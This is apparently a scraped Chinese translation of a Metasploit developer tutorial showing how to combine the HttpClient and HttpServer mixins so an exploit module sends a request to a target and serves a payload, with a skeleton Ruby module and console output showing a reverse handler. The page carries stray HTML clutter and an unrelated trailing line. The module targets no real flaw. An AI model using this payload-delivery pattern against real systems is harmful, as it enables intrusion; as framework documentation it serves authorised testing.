<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                企業??AI智能體構建引擎,智能編排和調試,一鍵部署,支持知識庫和私有化部署方案 廣告
                在Metasploit模塊中使用多個網絡mixin總是一件棘手的事情,因為很可能會碰到重疊的數據存儲選項,變量,方法等問題.超級調用僅適用于一個mixin等。這被認為是高級的模塊開發,有時可能是相當痛苦地弄清自己的。為了改善Metasploit的開發體驗,我們舉幾個例子來演示常見的場景,需要使用多個mixin來實現開發。 ### 今天的課程:發送HTTP請求來攻擊目標機器,并使用HttpServer來傳送負載。 假設您想要利用Web服務器或Web應用程序。你可以代碼執行,但你需要找到一種方式來提供最終的有效載荷(可能是一個可執行文件),而HTTP服務器恰好是你的選擇。 這里是你如何設置它: ```ruby ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, 'Name' => "HttpClient and HttpServer Example", 'Description' => %q{ This demonstrates how to use two mixins (HttpClient and HttpServer) at the same time, but this allows the HttpServer to terminate after a delay. }, 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r' ], 'References' => [ ['URL', 'http://metasploit.com'] ], 'Payload' => { 'BadChars' => "\x00" }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], ], 'Privileged' => false, 'DisclosureDate' => "Dec 09 2013", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The path to some web application', '/']), OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10]) ], self.class) end def on_request_uri(cli, req) print_status("#{peer} - Payload request received: #{req.uri}") send_response(cli, 'You get this, I own you') end def primer print_status("Sending a malicious request to #{target_uri.path}") send_request_cgi({'uri'=>normalize_uri(target_uri.path)}) end def exploit begin Timeout.timeout(datastore['HTTPDELAY']) { super } rescue Timeout::Error # When the server stops due to our timeout, this is raised end end end ``` 以下是運行上述示例時發生的情況: 1.封裝在Timeout塊的超級調用將啟動Web服務器。 2.在Web服務器處于無限循環狀態之前,會調用primer()方法,這是您發送惡意請求以獲取代碼執行的地方。 3.您的HttpServer根據請求提供最終的有效載荷 4.10秒后,模塊引發超時異常。Web服務器終止。 如果你想知道為什么Web服務器必須在一段時間后終止,這是因為如果模塊無法在目標機器上執行代碼執行,顯然它永遠不會詢問你的Web服務器的惡意負載,所以沒有意義永遠保持活動.通常情況下,獲得有效載荷請求也不需要很長時間,所以我們保持了超時。 上例的輸出應該如下所示: ``` msf exploit(test) > run [*] Exploit running as background job. [*] Started reverse handler on 10.0.1.76:4444 [*] Using URL: http://0.0.0.0:8080/SUuv1qjZbCibL80 [*] Local IP: http://10.0.1.76:8080/SUuv1qjZbCibL80 [*] Server started. [*] Sending a malicious request to / msf exploit(test) > [*] 10.0.1.76 test - 10.0.1.76:8181 - Payload request received: /SUuv1qjZbCibL80 [*] Server stopped. msf exploit(test) > ``` ### 相關文章: * https://github.com/rapid7/metasploit-framework/wiki/How-to-Send-an-HTTP-Request-Using-HTTPClient * https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-browser-exploit-using-HttpServer * https://community.rapid7.com/community/metasploit/blog/2012/12/17/metasploit-hooks
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看